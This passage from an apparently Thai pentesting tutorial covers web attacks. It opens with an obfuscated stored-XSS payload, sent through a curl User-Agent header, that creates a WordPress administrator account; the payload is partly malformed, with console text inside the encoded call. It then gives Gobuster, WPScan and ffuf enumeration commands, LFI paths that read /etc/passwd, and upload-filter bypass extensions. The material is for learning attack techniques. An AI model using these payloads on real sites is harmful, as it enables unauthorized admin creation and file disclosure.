118,97,114,32,112,97,114,97,109,115,61,34,97,99,116,105,111,110,61,99,114,101,97,116,101,117,115,101,114,38,95,119,112,110,111,110,99,101,95,99,114,101,97,116,101,45,117,115,101,114,61,34,43,110,111,110,99,101,43,34,38,117,115,101,114,95,108,111,103,105,110,61,60,85,83,69,82,78,65,77,69,62,38,101,109,97,105,108,61,60,69,77,65,73,76,62,38,112,97,115,115,49,61,60,80,65,83,83,87,79,82,68,62,38,112,97,115,115,50,61,60,80,65,83,83,87,79,82,68,62,38,114,111,108,101,61,97,100,109,105,110,105,115,116,114,97,116,111,114,34,59,97,106,97,120,82,101,113,117,101,115,116,61,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,44,97,106,97,120,82,101,113,117,101,115,116,46,111,112,101,110,40,34,80,79,83,84,34,44,114,101,113,117,101,115,116,85,82,76,44,33,48,41,44,97,106,97,120,82,101,113,117,101,115,116,46,115,101,116,82,101,113,117,101,115,116,72,101,97,100,101,114,40,34,67,111,110,116,101,110,116,45,84,121,112,101,34,44,34,97,112,112,108,105,99,97,116,105,111,110,47,120,45,119,119,119,45,102,111,114,109,45,117,114,108,101,110,99,111,100,101,100,34,41,44,97,106,97,120,82,101,113,117,101,115,116,46,115,101,110,100,40,112,97,114,97,109,115,41,59 debugger evalcode:14:9

สั่งให้ทำงาน โดยการส่ง request ผ่านคำส่ง curl:

kali@kali:~$ curl -i http://<RHOST> --user-agent"<script>eval(String.fromCharCode(118,97,114,32,112,97,114,97,109,115,61,34,97,99,116,105,111,110,61,99,114,101,97,116,101,117,115,101,114,38,95,119,112,110,111,110,99,101,95,99,114,101,97,116,101,45,117,115,101,114,61,34,43,110,111,110,99,101,43,34,38,117,115,101,114,95,108,111,103,105,110,61,60,85,83,69,82,78,65,77,69,62,38,101,109,97,105,108,61,60,69,77,65,73,76,62,38,112,97,115,115,49,61,60,80,65,83,83,87,79,82,68,62,38,112,97,115,115,50,61,60,80,65,83,83,87,79,82,68,62,38,114,111,108,101,61,97,100,109,105,110,105,115,116,114,97,116,111,114,34,59,97,106,97,120,82,101,113,117,101,115,116,61,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,44,97,106,97,120,82,101,113,117,101,115,116,46,111,112,101,110,40,34,80,79,83,84,34,44,114,101,113,117,101,115,116,85,82,76,44,33,48,41,44,97,106,97,120,82,101,113,117,101,115,116,46,115,101,116,82,101,113,117,101,115,116,72,101,97,100,101,114,40,34,67,111,110,116,101,110,116,45,84,121,112,101,34,44,34,97,112,112,108,105,99,97,116,105,111,110,47,120,45,119,119,119,45,102,111,114,109,45,117,114,108,101,110,99,111,100,101,100,34,41,44,97,106,97,120,82,101,113,117,101,115,116,46,115,101,110,100,40,112,97,114,97,109,115,41,59 debugger eval code:14:9  
))</script>"\--proxy 127.0.0.1:8080
  • Gobuster: Option และ ตัวอย่าง:
-e  // extended mode เพื่อให้ render URL เต็ม
-k  // ข้ามการตรวจสอบ SSL Certificate
-r  // ตาม cedirects
-s  // กำหนดค่า status codes
-b  // ไม่รวม status codes
-k  // ไม่สนใจ certificates
--wildcard  // เซต wildcard option

$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://<RHOST>/
$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://<RHOST>/ -x php
$ gobuster dir -w /usr/share/wordlists/dirb/big.txt -u http://<RHOST>/ -x php,txt,html,js -e -s 200
$ gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u https://<RHOST>:<RPORT>/ -b 200 -k --wildcard

และเพื่อให้เห็นภาพมากยิ่งขึ้นนี่เป็นตัวอย่างเมื่อใช้ Gobuster ในการทำการโจมตี:

อย่างที่คุณผู้อ่านน่าจะทราบกันดีจากเนื้อหาด้านบนแล้วว่า Gobusterเป็นเครื่องมือในการหาและเก็บข้อมูลแบบ Brute force บน API Path โดยที่ส่วนมากชื่อของ APIนั้นจะอธิบายเกี่ยวกับฟีเจอร์ ความสามารถ และ ข้อมูลที่ใช้ในการดำเนินการ และตามด้วยหมายเลขเวอร์ชัน

โดยข้อมูลพื้นฐานนี้นั่นสามารถช่วยให้ผู้โจมตีทำการโจมตีแบบ Brute force ผ่าน Path ของ API ได้โดยใช้ Wordlist กับ ฟีเจอร์ของ Gobuster โดยที่ผู้โจมตีสามารถเรียกใช้ฟีเจอร์นี้ได้ผ่าน -p Option คู่กับไฟล์ Wordlist และ Pattern

ตัวอย่างของ pattern:

{GOBUSTER}/v1  
{GOBUSTER}/v2
  • โดยที่ในตัวอย่าง ผู้โจมตีใช้ “{GOBUSTER}” เพื่อเป็นตัวแปรในการแทนค่าด้วยเซตคำศัพท์ใน Wordlist เพื่อจะทำการ Matching และตามด้วยเลขเวอร์ชัน ตัวอย่างหลังจากการ Enumerate บน API ด้วย Gobuster โดยใช้ big.txt เป็น Wordlist:
kali@kali:~$ gobuster dir -u http://192.168.50.16:5002 -w /usr/share/wordlists/dirb/big.txt -p pattern
===============================================================  
Gobuster v3.1.0  
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)  
===============================================================  
[+] Url:           http://192.168.50.16:5001  
[+] Method:         GET  
[+] Threads:         10  
[+] Wordlist:        /usr/share/wordlists/dirb/big.txt  
[+] Patterns:        pattern (1 entries)  
[+] Negative Status codes:  404  
[+] User Agent:       gobuster/3.1.0  
[+] Timeout:         10s  
===============================================================  
2022/04/06 04:19:46 Starting gobuster indirectory enumeration mode  
===============================================================
/books/v1       (Status: 200) [Size: 235]  
/console       (Status: 200) [Size: 1985]  
/ui          (Status: 308) [Size: 265] [--> http://192.168.50.16:5001/ui/]  
/users/v1       (Status: 200) [Size: 241]

หลังจากทำการวิเคราะห์ผลสแกน เราจะทราบได้ว่า Gobuster ได้พบ 3 user accounts ซึ่งรวมถึง Administrative account ซึ่งเป็นข้อมูลที่ดูหน้าสนใจในการเจาะลึกเพิ่มเติม เพื่อจะหาข้อมูลที่อาจเป็นประโยชน์ ผู้โจมตีจึงทำการโจมตีแบบ Brute force อีกรอบโดยระบุถึงเป้าหมายซึ่งคือ admin user ด้วย wordlist ที่เล็กลง(small.txt)นั่นเอง และเพื่อให้แน่ใจว่า API มีความเกี่ยวข้องกับ Username ผู้โจมตีจึงเพิ่ม Path ของ API โดยการระบุ admin ซึ่งเป็น Username ต่อท้ายเข้าไป:

kali@kali:~$ gobuster dir -u http://192.168.50.16:5002/users/v1/admin/ -w /usr/share/wordlists/dirb/small.txt
===============================================================  
Gobuster v3.1.0  
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)  
===============================================================  
[+] Url:           http://192.168.50.16:5001/users/v1/admin/  
[+] Method:         GET  
[+] Threads:         10  
[+] Wordlist:        /usr/share/wordlists/dirb/small.txt  
[+] Negative Status codes:  404  
[+] User Agent:       gobuster/3.1.0  
[+] Timeout:         10s  
===============================================================  
2022/04/06 06:40:12 Starting gobuster indirectory enumeration mode  
===============================================================/email        (Status: 405) [Size: 142]  
/password       (Status:405) [Size: 142]  
  
===============================================================  
2022/04/06 06:40:35 Finished  
===============================================================

และ BINGO! ผู้โจมตีพบ 2 Path ที่ซ่อนอยู่ ดังนั้นผู้โจมตีจึงทำการหาข้อมูลเพิ่มเติมโดยการใช้คำสั่ง curl หรืออื่นๆเพื่อทำการเจาะระบบต่อไป

  • Additional Command for Gobuster(คำสั่งเพิ่มเติมสำหรับ Gobuster):

DNS Recon:

> gobuster dns -d <RHOST> -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt> gobuster dns -d <RHOST> -t 50 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt

VHost Discovery:

> gobuster vhost -u <RHOST> -t 50 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt> gobuster vhost -u <RHOST> -t 50 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain

Specify User Agent(ระบุ User Agent):

> gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://<RHOST>/ -a Linux
  • Additional Tools for Web Application Attack(คำสั่งเพิ่มเติมสำหรับการโจมตีเว็บแอปพลิเคชั่น):

Wordpress:

  • Fuzzing:
> Create a Plugins or Templates wordlist: https://github.com/SecuritySphinx/Wp-Wordlist-Maker> Fuzzing plugins: ffuf -w <WORDLIST> -u http://<DOMAIN>/wp-content/plugins/FUZZ/readme.txt  
> Fuzzing plugins:ffuf -w <WORDLIST> -u http://<DOMAIN>/wp-content/plugins/FUZZ/readme.txt  
> Enumerate with WPScan:wpscan --url http://<DOMAIN>/ -e ap,vt,cb,dbe,u,m --plugins-detection aggressive --api-token <API\_TOKEN>
  • Scrapping:
> Get users: curl http:domain/wp-json/wp/v2/users | jq  
> Get plugins: curl -s -X GET / | sed 's/href=/\\n/g' | sed 's/src=/\\n/g' | grep 'wp-content/plugins/\*' | cut -d"'" -f2> Get themes: curl -s -X GET Domain | sed 's/href=/\\n/g' | sed 's/src=/\\n/g' | grep 'themes' | cut -d"'" -f2> Get version: curl -s -X GET Domain | grep '<meta name="generator"'



  • Additional Information(ข้อมูลเพิ่มเติม): Common File Extension(สกุลไฟล์ที่พบได้บ่อย):
.txt, .bak, .php, .html, .js, .asp, .aspx

Common Picture Extension(สกุลไฟล์ที่พบได้บ่อย):

.png, .jpg, .jpeg, .gif, .bmp

Common Local File Inclusion(LFI)(Path ที่พบได้บ่อยใน LSI):

http://<RHOST>/<FILE>.php?file=  
http://<RHOST>/<FILE>.php?file=../../../../../../../../etc/passwd  
http://<RHOST>/<FILE>/php?file=../../../../../../../../../../etc/passwd

-> Path ที่ใช้ได้ไปจนถึง php เวอร์ชัน 5.3:

http://<RHOST>/<FILE>/php?file=../../../../../../../../../../etc/passwd%00

PHP Extension Upload filter Bypasses(สกุลไฟล์ .php ที่ใช้เลี่ยงการตรวจจับ):

.sh  
.cgi  
.inc  
.txt  
.pht  
.phtml  
.phP  
.Php  
.php3  
.php4  
.php5  
.php7  
.pht  
.phps  
.phar  
.phpt  
.pgif  
.phtml  
.phtm  
.php%00.jpeg

Extension for Upload Vulnerabilities(สกุลไฟล์ที่ใช้กับช่องโหว่การอัพโหลดในสถานการณ์ต่างๆ):

ASP / ASPX / PHP / PHP3 / PHP5: Webshell / Remote Code Execution  
SVG: Stored XSS / Server-Side Request Forgery  
GIF: Stored XSS  
CSV: CSV Injection  
XML: XXE  
AVI: Local File Inclusion / Server-Side request Forgery  
HTML/JS: HTML Injection / XSS / Open Redirect  
PNG / JPEG: Pixel Flood Attack  
ZIP: Remote Code Exection via Local File Inclusion  
PDF / PPTX: Server-Side Request Forgery / Blind XXE

ก็จบลงไปจริงๆแล้วครับสำหรับ blog นี้ ตัวผมหวังเป็นอย่างยิ่งว่าคุณผู้อ่านทุกท่านจะได้ประโยชน์กลับไปไม่มากก็น้อย แล้วพบกันใหม่ใน blog หน้า See you soon ครับผม สวัสดีครับ 🙂🙏




อ่าน Part 1 : Introduction

อ่าน Part 2 : Information Gathering

อ่าน Part 4 : SQLi & Windows Client-Side Attacks

อ่าน Part 5 : Phishing & Public Exploit

อ่าน Part 6 : Antivirus Evasion